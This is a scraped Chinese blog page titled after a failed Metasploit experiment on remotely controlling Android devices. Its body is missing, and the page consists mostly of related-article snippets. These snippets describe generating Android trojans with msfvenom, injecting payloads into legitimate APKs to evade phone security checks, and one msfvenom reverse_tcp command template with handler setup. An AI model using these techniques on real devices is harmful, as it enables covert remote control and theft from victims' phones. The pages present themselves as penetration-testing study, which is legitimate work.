一次失败的 MSF 远控 Android 设备实验

最新推荐文章于 2025-03-12 19:48:44 发布

涂寐

最新推荐文章于 2025-03-12 19:48:44 发布

阅读量2.9k

点赞数

分类专栏： Web安全文章标签： apk android 网络安全 app安全渗透测试

本文链接：https://blog.youkuaiyun.com/weixin_46318141/article/details/122833923

版权

Web安全专栏收录该内容

38 篇文章

订阅专栏

声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！

文章首发于涂寐‘s Blogs：一次失败的 MSF 远控 Android 设备实验 | 涂寐's Blogs

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

涂寐

关注关注

0
点赞
踩
3

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

msf使用木马控制android手机

my_name_is_sy的博客

05-18

2903

使用msfvenom生成木马控制手机

使用msfvenom生成被控端并进行远程控制

Z_3679的博客

07-01

560

使用-p使用LHOST和LPORT选项指定攻击者的IP地址和端口使用-fexeapkphpraw使用-o选项指定输出文件的路径和名称使用RHOST和RPORT选项指定目标的IP地址和端口其他选项根据不同payload类型而有所不同使用-e使用--list选项列出可用的payload、编码器、nop等模块使用--help选项获取帮助信息使用-n选项关闭payload的后门。

参与评论您还未登录，请先登录后发表或查看评论

利用MSF打包加固APK对安卓手机进行控制

dl1286670932的博客

10-08

8224

由于经典的MSF生成apk安装包控制，版本较低，高版本安卓手机可能会出现版本不支持或无法使用的现象，而且apk无法正常使用，没有图形化界面，比较假。相比于原始的msf远控，此版本app在进行远控时，被注入的app可以正常运行，原始msf生成的app程序，只在桌面上有一个图标，点击后没有任何app界面。注入后的app在安装时，手机管家不会有任何安全提示，原始msf生成的app程序，安装时手机管家会有安全警示。

干货分享 | 远程入侵控制安卓手机实战

最新发布

qq_44005305的博客

03-12

966

学习研究为主，切勿用于非法用途！**一、**查看Metasploit工具中可以在Android系统下使用的payload类型可以看到有9种可以在Android下使用的payload这些payload可以作为我们后面攻击的软件的生成工具二、端口映射问题如果我们的手机与使用的计算机处在同一局域网，但是虚拟机使用的是NAT模式。那么只有我们使用的计算机才可以访问到该虚拟机，其他设备都是无法访问该虚拟机的。那么就需要了。假设计算机的IP为（192.168.1.100）。

msf安卓远控木马版本不兼容

L125_的博客

01-25

1170

关于msf安卓木马的问题，求大神看看

使用msfvenom实现远程控制.

2301_78457119的博客

06-24

989

在Kali 2中生成被控端的工具：msfvenom（msfvenom是渗透测试工具Metasploit中的一个命令）1、查看帮助信息、查2.看所有可以使用的攻击模块3、筛选出使用reverse_tcp的模块。

msf渗透安卓机

weixin_30872499的博客

05-29

630

/*metasploit之远控*/msfconsole //开启metasploit模块/*根据自己的IP生成一个木马*/msfvenom -p 系统/meterpreter/reverse_tcp LHOST=IP LPORT = 端口 R> 文件名.exe(安卓.apk) use expolit/multi/handler //开启模块 show options //查看参数设置...

MSF+APK注入绕过手机防护上线远控及安全防护建议

慢就是快

11-17

6867

1.实验环境 MSF、520_APK_HOOK 2.介绍将msf生成的payload，注入到一个正常的apk文件中，重新打包后进行加固，bypass手机安全管家的检测。项目地址: https://github.com/cleverbao/520apkhook 作者: BaoGuo 优点相比于原始的msf远控，此版本app在进行远控时，被注入的app可以正常运行，原始msf生成的app程序，只在桌面上有一个图标，点击后没有任何app界面。注入后的app在安装时，手机管家不会有任何安全提示，原始msf生

msfconsole生成安卓木马版本低

mjy60的博客

08-08

1686

打开AndroidManifest文件将 android:minSdkVersion="10"改为 android:minSdkVersion="16"android:targetSdkVersion="17" />改为 android:targetSdkVersion="23" />进入文件123中（我这里的名字是123）用vim打开AdnroidManifest.xml。在<application>标签上方添加标签上方添加。用apktool将文件反编译。

【网络安全】 MSF生成木马教程(2)，关于网络安全开发你必须要懂的APK瘦身知识

m0_61331407的博客

04-09

818

2、设置Payload。

MSF渗透测试android手机

永远是少年

06-15

5327

Kali Linux使用MSF木马入侵安卓手机

philip_z的博客

02-13

9213

Kali Linux使用MSF木马入侵安卓手机

android msf 漏洞,MSF之ms各种漏洞

weixin_34812649的博客

05-31

939

ms开头是代表微软的漏洞，如ms08-067 那么08是代表2008年微软出的漏洞，067是代表08年第67个漏洞5.1应用软件格式渗透，利用word去渗透(MS10-087)用到的靶机为：WinXPenSP3。打开msfconsole搜索下ms10-018的路径：search ms10-087。使用这个模块：Use exploit/windows/fileformat/ms10_087_rtf...

MSF手机渗透实验

weixin_63204687的博客

10-22

4837

可真刑，太可拷了

【2023版】Metasploit(MSF)下载安装及使用详解，永久免费使用，环境配置和使用技巧指南

QIANDXX的博客

12-29

6057

Metasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。在kali中，自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点，讲解MSF框架的使用。

Metasploit安装更新使用错误修复总汇

收集盒 Book box

08-03

1484

0×01 Backbox下的Msf错误修正为此还提交问题到BB的坛子了,不过团队成员还是给出了很不错的解答: http://forum.backbox.org/general-support/problem-with-msf-search-function-pgsql/ 下面描述下过程. Backbox发行版还是很不错的,没有BackTrack那么体积庞大,弹性也不错.版本是2.05.安

MSF中sessions命令使用

qq_44624916的博客

11-28

6745

MSF使用

超详细！！简单使用kali中MSF渗透安卓模拟器操作实战（MSF生成安卓APK（制作客户端）

2401_83640658的博客

02-11

1652

简单实战一下使用kali中MSF制作安卓木马渗透控制安卓虚拟机。本次讲解只适用于渗透安卓虚拟机，有兴趣可以实操一下。

msf入侵安卓实战

m0_65109001的博客

01-04

3092

msf安卓渗透

kail里面使用msf工具生成一个Android木马程序

09-20

Kali Linux是一个著名的开源渗透测试平台，其中包含Metasploit Framework (MSF) 这个强大的攻击工具集。如果你想在Kali里利用Metasploit生成针对Android的恶意软件（木马），你需要按照以下步骤操作： 1. **安装 ...